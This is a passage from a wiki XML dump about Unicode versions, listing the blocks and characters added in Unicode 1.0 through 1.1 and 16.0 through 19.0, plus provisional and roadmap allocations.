|2D1CC..2D1CD, 2D1DD, 2D1E4, 2D1F7, 2D203, 2D256, 2D266, 2D2A2, 2D2AC, 2D2DA
|18
|-
|CJK Unified Ideographs Extension G
|301D4, 301D9, 301E4, 301E8, 301FF..30200, 30205, 3020C, 30211, 30215..30217, 30220, 30234..30235, 30237
|7
|-
|CJK Unified Ideographs Extension H
|314B7, 31542, 31569, 31C7F, 31D5A, 31F68
|7
|-
! colspan=&quot;2&quot; |Total
!164
|}

== Unicode 16.0 ==

Unicode 16.0 was released on September 10th, 2024. It encoded 154,998 characters, adding 5185 new characters.

=== New Blocks ===
* '''Todhri''' (U+105C0-U+105FF), containing 52 characters, was added.
* '''Garay''' (U+10D40-U+10D8F), containing 69 characters, was added.
* '''Tulu-Tigalari''' (U+11380-U+113FF), containing 80 characters, was added.
* '''Myanmar Extended-C''' (U+116D0-U+116FF), containing 20 characters, was added.
* '''Sunuwar''' (U+11BC0-U+11BFF), containing 44 characters, was added.
* '''Egyptian Hieroglyphs Extended-A''' (U+13460-U+143FF), containing 3995 characters, was added.
* '''Gurung Khema''' (U+16100-U+1613F), containing 58 characters, was added.
* '''Kirat Rai''' (U+16D40-U+16D7F), containing 58 characters, was added.
* '''Symbols for Legacy Computing Supplement''' (U+1CC00-U+1CEBF), containing 686 characters, was added.
* '''Ol Onal''' (U+1E5D0-U+1E5FF), containing 44 characters, was added.

=== Extended Blocks ===
* A combining diacritical mark for Jawi (total 1 character) was added to '''Arabic Extended-B'''. (U+0897)
* Inverted letters and a punctuation mark (total 3 characters) was added to '''Balinese'''. (U+1B4E-U+1B4F and U+1B7F)
* A letter Tje (total 2 characters) was added to '''Cyrillic Extended-C'''. (U+1C89-U+1C8A)
* Legacy computing symbols for Delete (total 3 characters) was added to '''Control Pictures'''. (U+2427-U+2429)
* CJK strokes HXG and SZP (total 2 characters) was added to '''CJK Strokes'''. (U+31E4-U+31E5)
* A capital Rams Horn, an S with Diagonal Stroke, Lamda Letters, and letters for Wakashan and Salishan Languages (total 6 characters) was added to '''Latin Extended-D'''. (U+A7CB-U+A7CD, U+A7DA-U+A7DC)
* A combining Alef overlay and letters with two dots vertically below (total 4 characters) was added to '''Arabic Extended-C'''. (U+10EC2-U+10EC4 and U+10EFC)
* A sign Nukta (total 1 character) was added to '''Kawi'''. (U+11F5A)
* A blank character (total 1 character) was added to '''Khitan Small Script'''. (U+18CFF)
* A rightwards arrow with hook, and arrows for legacy computing and arrows for Egyptology (total 12 characters) was added to '''Supplemental Arrows-C'''. (U+1F8B2-U+1F8BB, U+1F8C0-U+1F8C1)
* A Harp, Shovel, Leafless Tree, Fingerprint, Root Vegetable, Splatter, and Face with Bags Under Eyes (total 7 characters) was added to '''Symbols and Pictographs Extended-A'''. (U+1FA89, U+1FA8F, U+1FABE, U+1FAC6, U+1FADC, U+1FADF, and U+1FAE9)
* Graphic shapes for legacy computing (total 37 characters) was added to '''Symbols for Legacy Computing'''. (U+1FBCB-U+1FBEF)

== Unicode 17.0 ==
Unicode 17.0 was released on September 9th, 2025. It encoded 159,801 characters, adding 4,083 new characters.

=== New Blocks ===
* '''Sidetic''' (U+10940-U+1095F), containing 26 characters, was added.
* '''Sharada Supplement''' (U+11B60-U+11B7F), containing 8 characters, was added.
* '''Tolong Siki''' (U+11DB0-U+11DEF), containing 54 characters, was added.
* '''Beria Erfe''' (U+16EA0-U+16EDF), containing 50 characters, was added.
* '''Tangut Components Supplement''' (U+18D80-U+18DFF), containing 115 characters, was added.
* '''Miscellaneous Symbols Supplement''' (U+1CEC0-U+1CEFF), containing 34 characters, was added.
* '''Tai Yo''' (U+1E6C0-U+1E6FF), containing 55 characters, was added.
* '''CJK Unified Ideographs Extension J''' (U+323B0-U+3347F), containing 4298 characters, was added.

=== Extended Blocks ===
* A Noon with Ring Above (total 1 character) was added to '''Arabic Extended-B'''. (U+088F)
* An archaic ligature Shrii (total 1 character) was added to '''Telugu'''. (U+0C5C)
* An archaic ligature Shrii (total 1 character) was added to '''Kannada'''. (U+0CDC)
* Compound tone and harrington diacritics (total 26 characters) was to '''Combining Diacritical Marks Extended'''. (U+1ACF-U+1ADD, U+1AE0-U+1AEB)
* Saudi Riyal Sign (total 1 character) was added to '''Currency Symbols'''. (U+20C1)
* Equal Sign with Infinity Above (total 1 character) was added to '''Miscellaneous Symbols and Arrows'''. (U+2B96)
* 2 capital letters for Middle English, Latin pharyngeal voiced fricative, and Modifier Letter Capital S (total 5 characters) was added to '''Latin Extended-D'''. (U+A7CE-U+A7CF, U+A7D2, U+A7D4, U+A7F1)
* Arabic Ligature Rahmatu Allaahi Alayh and Arabic Honorifics (total 25 characters) was added to '''Arabic Presentation Forms-A'''. (U+FBC3-U+FBD2, U+FD90, U+FD91, U+FDC8-U+FDCE)
* A Small Yeh Barree with Two Dots Below, Thin Noon, Biblical End of Verse, Yeh with Four Dots Below, Honorifics, Double Vertical Bar Below, and Small Low Noon (total 14 characters) was added to '''Arabic Extended-C'''. (U+10EC5-U+10EC7, U+10ED0-U+10ED8, U+10EFA-U+10EFB)
* Chinese Simplified and Traditional Er and Yangqin Slow Signs Two, Three, and Four (total 5 characters) was added to '''Ideographic Symbols and Punctuation'''. (U+16FF2-U+16FF6)
* Some additional ideographs (total 8 characters) was added to '''Tangut'''. (U+187F8-U+187FF)
* Additional ideographs (total 22 characters) was added to '''Tangut Supplement'''. (U+18D09-U+18D1E)
* Nine symbols (total 9 characters) was added to '''Symbols for Legacy Computing Supplement'''. (U+1CCFA-U+1CCFC, U+1CEBA-1CEBF)
* A Landslide (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6D8)
* Historical asteroid symbols (total 4 characters) was added to '''Alchemical Symbols'''. (U+1F777-U+1F77A)
* Chemical symbols (total 9 characters) was added to '''Supplemental Arrows-C'''. (U+1F8D0-U+1F8D8)
* White and Black Chess Ferz and Alfil (total 4 characters) was added to '''Chess Symbols'''. (U+1FA54-U+1FA57)
* A trombone, treasure chest, hairy creature, orca, distorted face, and fight cloud (total 6 characters) was added to '''Symbols and Pictographs Extended-A'''. (U+1FA8A, U+1FA8E, U+1FAC8, U+1FACD, U+1FAEA, and U+1FAEF)
* An alarm bell symbol (total 1 character) was added to '''Symbols for Legacy Computing'''. (U+1FBFA)
* Additional ideographs (total 6 characters) was added to '''CJK Unified Ideographs Extension C'''. (U+2B73A-U+2B73F)
* Additional ideographs (total 12 characters) was added to '''CJK Unified Ideographs Extension E'''. (U+2CEA2-U+2CEAD)

== Unicode 18.0 ==
Unicode 18.0 was released on September 16, 2026.

=== New Blocks ===
*'''Bengali Supplement''' (U+11DF0-U+11DFF), containing 2 characters, was added.
* '''Archaic Cuneiform Numerals''' (U+12550-U+1268F), containing 311 characters, was added.
* '''Jurchen''' (U+18E00-U+1919F), containing 914 characters, was added.
* '''Jurchen Radicals''' (U+191A0-U+191DF), containing 51 characters, was added.
* '''Musical Symbols Supplement''' (U+1D250-U+1D28F), containing 50 characters, was added.
* '''Miscellaneous Symbols and Arrows Extended''' (U+1DB00-U+1DBFF), containing 29 characters, was added.
* '''Seal Script''' (U+3D000-U+3FC3F), containing 11328 characters, was added.

=== Extended Blocks ===
* Modifier letters Eh, Ini, and Yi (total 3 characters) was added to '''Armenian'''. (U+0558, U+058B-U+058C)
* Hebrew Point Sheva Na Mudgash and Hebrew Point Dagesh Hazaq Mudgash (total 2 characters) was added to '''Hebrew'''. (U+05C8-U+05C9)
* Signs for dot above and double dot above (total 2 characters) was added to '''Oriya'''. (U+0B53-U+0B54)
* Alternate positioned IPA diacritics and diacritics for Chao and Khoe (total 7 characters) was added to '''Combining Diacritical Marks Extended'''. (U+1ADE-U+1ADF, U+1AEC-U+1AF0)
* Latin subscript small letter w, y, and z and Modifier letter high and low vertical line (total 4 characters) was added to '''Superscripts and Subscripts'''. (U+208F, U+209D-U+209F)
* Rufiyaa Sign, UAE Dirham Sign, and Omani Rial (total 3 characters) was added to '''Currency Symbols'''. (U+20C2-U+20C4)
* Two Wiggly Exclamation Marks and Two Parenthesis with Middle Ring (total 4 characters) was added to '''Supplemental Punctuation'''. (U+2E60-U+2E63)
* Latin capital letter closed omega and Latin capital letter r with long leg and (total 2 characters) was added to '''Latin Extended-D'''. (U+A7DD and U+A7E2)
* Latin capital letter script r and script r with ring (total 2 characters) was added to '''Latin Extended-E'''. (U+AB6C-U+AB6D)
* Latin modifier letters for clicks (total 5 characters) was added to '''Latin Extended-F'''. (U+107BB-U+107BF)
* Arabic Crown Letters, Quranic Characters, and Arabic Crown (total 39 characters) was added to '''Arabic Extended-C'''. (U+10EC9-U+10ECF, U+10ED9-U+10EEE, U+10EF0-U+10EF9)
* Devanagari Letter Alternate Ddda (total 1 character) was added to '''Devanagari Extended-A'''. (U+11B0A)
* Extended Cuneiform Numeric Signs (total 12 characters) was added to '''Cuneiform Numbers and Punctuation'''. (U+1246F, U+12475-U+1247F)
* Jurchen Small Script characters (total 5 characters) was added to '''Khitan Small Script'''. (U+18CD6-U+18CDA)
* Two additional ideographs (total 2 characters) was added to '''Tangut Supplement'''. (U+18D1F-U+18D20)
* Hiragana Digraph Koto, Katakana Diagraphs Toki, Tote, and Yori, letters alternate Ne, and Wi (total 6 characters) was added to '''Kana Extended-A'''. (U+1B123-U+1B128)
* Katakana letter small archaic Ye (total 1 character) was added to '''Small Kana Extension'''. (U+1B168)
* Leibnizian alchemical symbols,  Leibnizian cossic characters, and Leibnizian mathematical signs and symbols (total 19 characters) was added to '''Miscellaneous Symbols Supplement'''. (U+1CED2-U+1CED4, U+1CEDD-U+1CEDF, U+1CEF1-U+1CEFD)
* Stein Zimmerman Symbols, Digit Slash Symbols, and other Symbols (total 23 characters) was added to '''Musical Symbols'''. (U+1D127-U+1D128, U+1D1EB-U+1D1FF)
* Mathematical italic long s with descender s (U+1D6A6) was added to '''Mathematical Alphanumeric Symbols'''.
* Affricate ligatures, letters with palatal hook, barred letters, RFE letters, Initial Teaching Alphabet, English Phonotypic Alphabet, Leibnizian cossic characters, and modifier letters (total 151 characters) was added to '''Latin Extended-G'''. (U+1DF1F-U+1DF24, U+1DF2B-U+1DF81, U+1DF90-U+1DF96, U+1DFCD-U+1DFFF)
* A Tomobiki symbol (total 1 character) was added to '''Enclosed Alphanumeric Supplement'''. (U+1F1AE)
* A lighthouse (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6D9)
* A black circle with white vertical bar, and Extended Geometric Shapes (total 17 characters) was added to '''Geometric Shapes Extended'''. (U+1F7DA-U+1F7DB, U+1F7F1-U+1F7FF)
* A meteor, eraser, net with handle, monarch butterfly, pickle, cracking face, leftwards thumb sign, and rightwards thumb sign (total 8 characters) was added to '''Symbols and Pictographs Extended-A'''. (U+1FA8B-1FA8D, U+1FACC, U+1FADD, U+1FAEB, U+1FAF9-1FAFA)
* An additional ideograph (total 1 character) was added to '''CJK Unified Ideographs Extension D'''. (U+2B81E)

== Unicode 19.0==
Unicode 19.0 will be released in late 2027. There are more characters targeted for this version, but they have not been confirmed yet.

=== New Blocks ===
* '''CJK Unified Ideographs Components-A''' (U+2FA20-U+2FA9F), containing 119 characters, will be added.
* '''CJK Unified Ideographs Components-B''' (U+2FAA0-U+2FC1F), containing 375 characters, will be added.

== Code Points Provisionally Assigned==
This is a section where you can add any upcoming Unicode characters that have been [https://www.unicode.org/alloc/Pipeline.html#codepoint_reservation provisionally assigned for mature proposals] (but not yet accepted) for a future update of The Unicode Standard.

=== New Blocks ===
* '''Arabic Extended-D''' (U+10D90-U+10E5F), containing 3 characters, will be added.
* '''Sirmauri''' (U+11850-U+1188F), containing 55 characters, will be added.&lt;!--target: 19.0--&gt;
* '''Leke''' (U+11B80-U+11BBF), containing 55 characters, will be added.
* '''Proto-Cuneiform''' (U+12690-U+12ECF), containing 1392 characters, will be added.&lt;!--target: 19.0--&gt;
* '''Chisoi''' (U+16D80-U+16DAF), containing 40 characters, will be added.&lt;!--target: 19.0--&gt;
* '''Mwangwego''' (U+16E00-U+16E3F), containing 64 characters, will be added.
* '''Shaaldaa''' (U+1C800-U+1CB2F), containing 804 characters, will be added.
* '''Leibnizian Ambiguous Signs''' (U+1DC00-U+1DC3F), containing 54 characters, will be added.)&lt;!--target: 19.0--&gt;

=== Extended Blocks ===
* Telugu Sign Spacing Candrabindu (total 1 character) will be added to '''Telugu'''. (U+0C70)&lt;!--target: 19.0--&gt;
* Kannada Signs Ardhanusvara and Combining Anusvara Above (total 1 character) will be added to '''Kannada'''. (U+0CF0 and U+0CF4)&lt;!--target: 19.0--&gt;
* Mongolian Letter Manchu Alternative Ue (total 1 character) will be added to '''Mongolian'''. (U+1879)
* Combining Grave-Acute-Macron, Combining inverted lazy s Above, and Combining comma Above and acute (total 3 characters) will be added to '''Combining Diacritical Marks Extended'''. (U+1AF1-U+1AF3)
* Cyrillic small letter Yeru with connecting bar (total 1 character) will be added to '''Cyrillic Extended-C'''. (U+1C8B)&lt;!--target: 19.0--&gt;
* Belarusian Ruble sign and Ruble sign with double vertical stem (total 2 characters) will be added to '''Currency Symbols'''. (U+20C5, U+20CF)&lt;!--20C5 target: 19.0--&gt;
* Combining Long Triple Solidus Overlay and Combining Saltire Overlay (total 2 characters) will be added to '''Combining Diacritical Marks for Symbols'''. (U+20F1-U+20F2)&lt;!--target: 19.0--&gt;
* Latin capital and small letter i with oblique stroke (total 2 characters) will be added to '''Latin Extended-D'''. (U+A7DE-U+A7DF)
* Latin capital letter u with left hook (total 1 character) will be added to '''Latin Extended-E'''. (U+AB6E)&lt;!--target: 19.0--&gt;
* Arabic Dotless Half-Yeh, Half-Yeh, Dotless Half-Jeem and Astronomical Kaf (total 4 characters) will be added to '''Arabic Extended-C'''. (U+10EC0-U+10EC1, U+10EC8, U+10EEF)&lt;!--10EC0-10EC1 target: 19.0--&gt;
* Brahmi minimizing virama (total 1 character) will be added to '''Brahmi'''. (U+1107E)&lt;!--target: 19.0--&gt;
* Tulu-Tigalari letter combining anusvara above, signs om pushpika with tail and shrii pushpika, and letter archaic II (total 5 characters) will be added to '''Tulu-Tigalari'''. (U+113CB, U+113D9-U+113DB)&lt;!--target: 19.0--&gt;
* Newa Letter Heavy Ya (total 1 character) will be added to '''Newa'''. (U+11462)
* Dogra Signs Candrabindu and Avaragha (total 2 characters) will be added to '''Dogra'''. (U+1183C-U+1183D)&lt;!--target: 19.0--&gt;
* Devanagari Jivamuliya and Upadhmaniya (total 2 characters) will be added to '''Devanagari Extended-A'''. (U+11B0B-U+11B0C)&lt;!--target: 19.0--&gt;
* White Ideographic Comma and Double Ideographic Full Stop (total 2 characters) will be added to '''Ideographic Symbols and Punctuation'''. (U+16FE5-U+16FE6)&lt;!--target: 19.0--&gt;
* Alchemical Symbol for Calx-2 and Alchemical Symbol for Retort-2 (total 2 characters) will be added to '''Miscellaneous Symbols Supplement'''. (U+1CED1, U+1CED5)&lt;!--target: 19.0--&gt;
* Musical Symbol down arrowhead breath mark (total 1 character) will be added to '''Musical Symbols Supplement'''. (U+1D282)
* Small w with palatal hook, small n and r with double middle tilde, small capital i with retroflex hook, small open q, x with stroke, small wavy y, schwa with right hook, Romance dialectology symbols, zh ligature, Albanian letter edhe, Albanian Frashëri letters, Modifier letter capital y, and modifier letter accents (total 26 characters) will be added to '''Latin Extended-G'''. (U+1DF82-U+1DF8F, U+1DF97-U+1DFA3, U+1DFC4-U+1DFCC)&lt;!--1DF82-1DF8A, 1DFC5-1DFCC target: 19.0--&gt;
*Arabic Astronomical zero and five astronomical symbols (total 6 characters) will be added to Arabic Mathematical Alphabetic Symbols (U+1EEE0-U+1EEE5)

==Roadmap Blocks==
This is a section where proportional maps of proposed allocations to Unicode and ISO/IEC 10646 are presented. Italic indicates scripts for which detailed proposals have not yet been written.&lt;ref&gt;[https://unicode.org/roadmaps/smp/]&lt;/ref&gt;

* '''Northern Palaeohispanic''' (U+10200-U+1023F)
* '''Southern Palaeohispanic''' (U+10240-U+1027F)
* '''''Shavian Quikscript''' (U+103E0-U+103FF)''
* '''Combining Diacritical Marks Extended-A''' (U+107C0-U+107FF)
* '''Proto-Sinaitic''' (U+108B0-U+108DF)
* '''''Numidian''' (U+10960-U+1097F)''
* '''Balti''' (U+10AA0-U+10ABF)
* '''Book Pahlavi''' (U+10BB0-U+10BDF)
* '''Baburi''' (U+10BE0-U+10BFF)
* '''Arabic Extended-D''' (U+10D90-U+10E5F)
* '''Landa''' (U+11250-U+1127F)
* '''Tani Lipi''' (U+114E0-U+114FF)
* '''Ranjana''' (U+11500-U+1157F)
* '''Zou''' (U+11750-U+117AF)
* '''Pyu''' (U+117B0-U+117FF)
* '''Vateluttu''' (U+11960-U+1199F)
* '''Balti-B''' (U+11CC0-U+11CFF)
* '''Tocharian''' (U+11E00-U+11E6F)
* '''Khotanese''' (U+11E70-U+11ECF)
* '''Pallava''' (U+11F60-U+11FAF)
* '''''Egyptian Hieroglyphs Extended-B''' (U+14680-U+151FF)''
* '''Mayan Hieroglyphs''' (U+15500-U+15AFF)
* '''Kore Sebeli''' (U+15B00-U+15B6F)
* '''Mandombe''' (U+15B80-U+15FFF)
* '''Wei Rma''' (U+16000-U+1604F)
* '''Wagindara''' (U+16050-U+1607F)
* '''Kurukh Banna''' (U+16140-U+1618F)
* '''Moon''' (U+161A0-U+161FF)
* '''Blissymbols''' (U+16200-U+167FF)
* '''Woleai''' (U+16B90-U+16BFF)
* '''Kpelle''' (U+16C00-U+16C7F)
* '''Tikamuli''' (U+16C80-U+16CBF)
* '''Tangsa (Khimhun)''' (U+16CD0-U+16CFF)
* '''Afaka''' (U+16D00-U+16D3F)
* '''Kulitan''' (U+16DD0-U+16DFF)
* '''''Bopomofo Extended-A''' (U+16FA0-U+16FAF)''
* '''Kanbun Extended-A''' (U+16FB0-U+16FDF)
* '''Khitan Large Script''' (U+19200-U+199FF)
* '''Pau Cin Hau Syllabary''' (U+19E00-U+1A2FF)
* '''Eskaya''' (U+1A300-U+1A75F)
* '''Rejang Extended''' (U+1A760-U+1A77F)
* '''''Kaida''''' (U+1A780-U+1A7FF)
* '''Naxi Dongba''' (U+1A800-U+1ACFF)
* '''''Naxi Geba''' (U+1AD00-U+1AFCF)''
* '''''Kana Extended-C''' (U+1AFD0-U+1AFEF)''
* '''Shuishu Logograms''' (U+1B300-U+1B5FF)
* '''Lisu Syllabic Script''' (U+1B600-U+1B9FF)
* '''Indus''' (U+1BA00-U+1BB8F)
* '''Pitman Shorthand''' (U+1BCB0-U+1BCFF)
* '''Proto-Elamite''' (U+1BE00-U+1C37F)
* '''Linear Elamite''' (U+1C380-U+1C4FF)
* '''Ndiko Jonam''' (U+1CB30-U+1CB7F)
* '''N&lt;nowiki&gt;'&lt;/nowiki&gt;ti''' (U+1CB80-U+1CBAF)
* '''Old Chinese Musical Symbols (Flute and Pipa)''' (U+1D290-U+1D2BF)
* '''''Mathematical Alphanumeric Symbols Supplement''' (U+1D380-U+1D3FF)''
* '''Jianzi Format Controls''' (U+1DAE0-U+1DAFF)
* '''Eebee Hmong''' (U+1E150-U+1E1FF)
* '''Western Cham''' (U+1E200-U+1E26F)
* '''Loma''' (U+1E300-U+1E41F)
* '''Bagam''' (U+1E420-U+1E4CF)
* '''Pungchen''' (U+1E500-U+1E52F)
* '''''Pungchung''' (U+1E530-U+1E55F)''
* '''''Marchung''' (U+1E560-U+1E59F)''
* '''Brusha''' (U+1E5A0-U+1E5CF)
* '''''Chola''' (U+1E600-U+1E65F)''
* '''Box-Headed''' (U+1E660-U+1E6BF)
* '''Lampung''' (U+1E700-U+1E73F)
* '''Kerinci''' (U+1E740-U+1E76F)
* '''Buginese Supplement''' (U+1E770-U+1E7BF)
* '''''Lontara Bilang-Bilang''' (U+1E7C0-U+1E7DF)''
* '''N'Ko Supplement''' (U+1E960-1E97F)
* '''''Byblos''''' (U+1EB90-U+1EBFF)
* '''Persian Siyaq Numbers''' (U+1EC00-U+1EC7F)
* '''Diwani Siyaq Numbers''' (U+1ECC0-U+1ECFF)
* '''''Extended Pictographic Characters''' (U+1FC00-U+1FFFF)''

== References ==
{{reflist}}</text>
      <sha1>0mqpnl9afz03tca7yjxh9c2pxdk7kk1</sha1>
    </revision>
    <revision>
      <id>4670529</id>
      <parentid>4670528</parentid>
      <timestamp>2026-09-17T01:19:21Z</timestamp>
      <contributor>
        <username>Alexlatham96</username>
        <id>377450</id>
      </contributor>
      <comment>/* Unicode 5.1 */</comment>
      <origin>4670529</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="132984" sha1="m7edu6dp3jsw6t02k69rklbb4pyvtib" xml:space="preserve">{{pp-protected|small=yes}}
{{Unicode page}}
{{TOC right}}
{{refimprove|date=June 2017}}
This page is about each version specification, and the differences between the versions.

== Unicode 1.0 ==

Unicode 1.0 was the first version of Unicode, released October 1991. It encoded 7,094 new characters.

=== “Blocks” ===
This version of Unicode did not formally group characters in blocks. But in comparison with version 2.0, the following “blocks” were available:
U+0000-U+FFFD
51 Blocks
* '''Basic Latin (formerly called ASCII)''' (U+0000-U+007F), containing 128 characters.
* '''Latin-1 Supplement (formerly called Latin1)'''  (U+0080-U+00FF), containing 128 characters.
* '''Latin Extended-A''' '''(formerly called European Latin)''' (U+0100-U+017F), containing 127 characters.
* '''Latin Extended-B''' '''(formerly called Extended Latin)''' (U+0180-U+01FF), containing 113 characters.
* '''IPA Extensions''' '''(formerly called Standard Phonetic)''' (U+0250-U+02AF), containing 89 characters.
* '''Spacing Modifier Letters''' '''(formerly called Modifier Letters)''' (U+02B0-U+02FF), containing 57 characters.
* '''Combining Diacritical Marks''' '''(formerly called Generic Diacritical Marks)''' (U+0300-U+036F), containing 66 characters.
* '''Greek and Coptic''' '''(formerly called Greek)''' (U+0370-U+03FF), containing 112 characters.
* '''Cyrillic''' (U+0400-U+04FF), containing 192 characters.
* '''Armenian''' (U+0530-U+058F), containing 84 characters.
* '''Hebrew''' (U+0590-U+05FF), containing 52 characters.
* '''Arabic''' (U+0600-U+06FF), containing 169 characters.
* '''Devanagari''' (U+0900-U+097F), containing 104 characters.
* '''Bengali''' (U+0980-U+09FF), containing 89 characters.
* '''Gurmukhi''' (U+0A00-U+0A7F), containing 74 characters.
* '''Gujarati''' (U+0A80-U+0AFF), containing 75 characters.
* '''Oriya''' (U+0B00-U+0B7F), containing 78 characters.
* '''Tamil''' (U+0B80-U+0BFF), containing 61 characters.
* '''Telugu''' (U+0C00-U+0C7F), containing 80 characters.
* '''Kannada''' (U+0C80-U+0CFF), containing 80 characters.
* '''Malayalam''' (U+0D00-U+0D7F), containing 78 characters.
* '''Thai''' (U+0E00-U+0E7F), containing 92 characters.
* '''Lao''' (U+0E80-U+0EFF), containing 70 characters.
* '''Tibetan''' (U+1000-U+105F), containing 71 characters.
* '''Georgian''' (U+10A0-U+10FF), containing 78 characters.
* '''General Punctuation''' (U+2000-U+206F), containing 67 characters.
* '''Superscripts and Subscripts''' (U+2070-U+209F), containing 28 characters.
* '''Currency Symbols''' (U+20A0-U+20CF), containing 11 characters.
* '''Combining Marks for Symbols''' '''(formerly called Diacritical Marks for Symbols)''' (U+20D0-U+20FF), containing 18 characters.
* '''Letterlike Symbols''' (U+2100-U+214F), containing 57 characters.
* '''Number Forms''' (U+2150-U+218F), containing 48 characters.
* '''Arrows''' (U+2190-U+21FF), containing 91 characters.
* '''Mathematical Operators''' (U+2200-U+22FF), containing 242 characters.
* '''Miscellaneous Technical''' (U+2300-U+23FF), containing 43 characters.
* '''Control Pictures''' '''(formerly called Pictures for Control Codes)''' (U+2400-U+243F), containing 37 characters.
* '''Optical Character Recognition''' (U+2440-U+245F), containing 11 characters.
* '''Enclosed Alphanumerics''' (U+2460-U+24FF), containing 139 characters.
* '''Box Drawing''' '''(formerly called Form and Chart Components)''' (U+2500-U+257F), containing 128 characters.
* '''Block Elements''' '''(formerly called Blocks)''' (U+2580-U+259F), containing 22 characters.
* '''Geometric Shapes''' (U+25A0-U+25FF), containing 79 characters.
* '''Miscellaneous Symbols''' '''(formerly called Miscellaneous Dingbats)''' (U+2600-U+26FF), containing 106 characters.
* '''Dingbats''' '''(formerly called Zapf Dingbats)''' (U+2700-U+27BF), containing 160 characters.
* '''CJK Symbols and Punctuation''' (U+3000-U+303F), containing 56 characters.
* '''Hiragana''' (U+3040-U+309F), containing 90 characters.
* '''Katakana''' (U+30A0-U+30FF), containing 90 characters.
* '''Bopomofo''' (U+3100-U+312F), containing 40 characters.
* '''Hangul Compatibility Jamo (formerly called Hangul Elements)''' (U+3130-U+318F), containing 94 characters.
* '''Kanbun (formerly called CJK Miscellaneous)''' (U+3190-U+31FF), containing 16 characters.
* '''Enclosed CJK Letters and Months''' '''(formerly called''' '''Enclosed CJK Letters and Ideographs)''' (U+3200-U+32FF), containing 191 characters.
* '''CJK Compatibility''' '''(formerly called CJK Squared Words for U+3300-U+337F and CJK Squared Abbreviations for U+3380-33FF)''' (U+3300-U+33FF), containing 187 characters.
* '''Hangul''' (U+3400-U+3D2D), containing 2,350 characters.
* '''Private Use Area''' (U+E000-U+FDFF), reserved for 5,632 characters.
* '''CJK Compatibility Forms''' '''(formerly called CNS 11643 Compatibility)''' (U+FE30-U+FE4F), containing 28 characters.
* '''Small Form Variants''' '''(formerly called Small Variants)''' (U+FE50-U+FE6F), containing 26 characters.
* '''Arabic Presentation Forms-B''' '''(formerly called Basic Glyphs for Arabic Language)''' (U+FE70-U+FEFF), containing 140 characters.
* '''Halfwidth and Fullwidth Forms''' '''(formerly called Halfwidth and Fullwidth Variants)''' (U+FF00-U+FFEF), containing 216 characters.
* '''Specials''' '''(formerly called Special)''' (U+FFF0-U+FFFF), containing 1 character.

== Unicode 1.0.1 ==
Unicode 1.0.1 was released June 1992. It encoded 28,292 characters, adding 21,204 new characters and removing 6 characters, for a net increase of 21,198 characters.

=== New blocks ===

* '''CJK Unified Ideographs''' (U+4E00-U+9FFF), containing 20,902 Han Ideographs for Chinese, Japanese and Korean, was added.
* '''CJK Compatibility Ideographs''' (U+F900-U+FAFF), containing 302 Han Ideographs for compatibility with existing character sets, was added.

=== Removed characters ===
* Letters Ka and Kha with Ogonek (total 4 characters) were removed from '''Cyrillic'''. (U+04C5-U+04C6 and U+04C9-U+04CA)
* APL Compose Operator and APL Out (total 2 characters) were removed from '''Miscellaneous Technical'''. (U+2300-U+2301)

=== Rearranged characters ===
* A Japanese Industrial Standard symbol (〄) was moved from '''Enclosed CJK Letters and Months''' (U+32FF) to '''CJK Symbols and Punctuation'''. (U+3004)
*'''Circled Katakana:''' ''The characters well be arranged in modern order: e.g., A, I, U, E, O, KA, KI'' (U+32D0-U+32FE)
*'''Basic Glyphs For Arabic Language:''' ''The character shapes will be arranged in different order: Isolate, Final, Initial and Medial'' (U+FE80-FEFC)

=== Characters with semantics changed ===
*'''Zero Width Non-Joiner''' [ZWNJ] (U+20DC)

*'''Zero Width Joiner''' [ZWJ] (U+20DD)

== Unicode 1.1 ==

Unicode 1.1 was released June 1993. It encoded 34,168 characters, adding 5,969 new characters and removing 93 characters, for a net increase of 5,876 characters. It finalized the long anticipated Han Unification.

=== New blocks ===

* '''Hangul Jamo''' (U+1100-U+11FF), containing 240 ''jamo'' for the Hangul script, was added.
* '''Latin Extended Additional''' (U+1E00-U+1EFF), containing 245 precomposed characters for transliteration and Vietnamese, was added.
* '''Greek Extended''' (U+1F00-U+1FFF), containing 233 precomposed characters for polytonic Greek, was added.
* '''Hangul Supplementary-A''' (U+3D2E-U+44B7), containing 1,930 precomposed syllables for the Hangul script, was added.
* '''Hangul Supplementary-B''' (U+44B8-U+4DFF), containing 2,376 precomposed syllables for the Hangul script, was added.
* '''Alphabetic Presentation Forms''' (U+FB00-U+FB4F), containing 57 precomposed characters and ligatures, was added.
* '''Arabic Presentation Forms-A''' (U+FB50-U+FDFF), containing 593 combinations of Arabic letters, was added.
* '''Combining Half Marks''' (U+FE20-U+FE2F), containing 4 halves of diacritical marks, was added.

=== Extended blocks ===

* The long S (ſ) (total 1 character) was added to '''Latin Extended-A'''. (U+017F)
* The Hungarian Dz, characters for transliteration purposes and precomposed characters with double grave and inverted breve (total 35 characters) were added to '''Latin Extended-B''' (U+01F1-U+01F5 and U+01FA-U+0217). The block was expanded from (U+0180-U+01FF) to (U+0180-U+024F)
* Diacritics for polytonic Greek and double width diacritics (total 6 characters) were added to '''Combining Diacritical Marks'''. (U+0342-U+0345 and U+0360-U+0361)
* Compatibility character now deprecated, Ano Teleia, and other characters (total 5 characters) were added to '''Greek and Coptic''' (U+0374-U+0375, U+037A, U+037E and U+0387).
* Additional characters for non-Slavic languages (total 38 characters) were added to '''Cyrillic'''. (U+04D0-U+04EB, U+04EE-U+04F5 and U+04F8-U+04F9)
* A ligature of Ech and Yiwn (և) (total 1 character) was added to '''Armenian'''. (U+0587)
* One deprecated compatibility character and several characters for biblical texts (total 25 characters) were added to '''Arabic'''. (U+066D and U+06D6-U+06ED)
* A sign Virama (total 1 character) was added to '''Gurmukhi''' (U+0A4D).
* Letters Candra O and E (total 3 characters) were added to '''Gujarati'''. (U+0A8D, U+0A91 and U+0AC9)
* An Ai Length mark (total 1 character) was added to '''Oriya'''. (U+0B56)
* An undertie, a pair of brackets and six formatting characters now deprecated (total 9 characters) were added to '''General Punctuation'''. (U+203F, U+2045-U+2046 and U+206A-U+206F)
* Some additional symbols and the complete set of APL functional symbols (total 79 characters) were added to '''Miscellaneous Technical'''. (U+2300 and U+232D-U+237A)
* A large circle (◯) (total 1 character) was added to '''Geometric Shapes'''. (U+25EF)
* The ideographic telegraph line feed separator symbol (〷) (total 1 character) was added to '''CJK Symbols and Punctuation'''. (U+3037)
* Four Katakana letters not in use since 1945 (total 4 characters) were added to '''Katakana'''. (U+30F7-U+30FA)
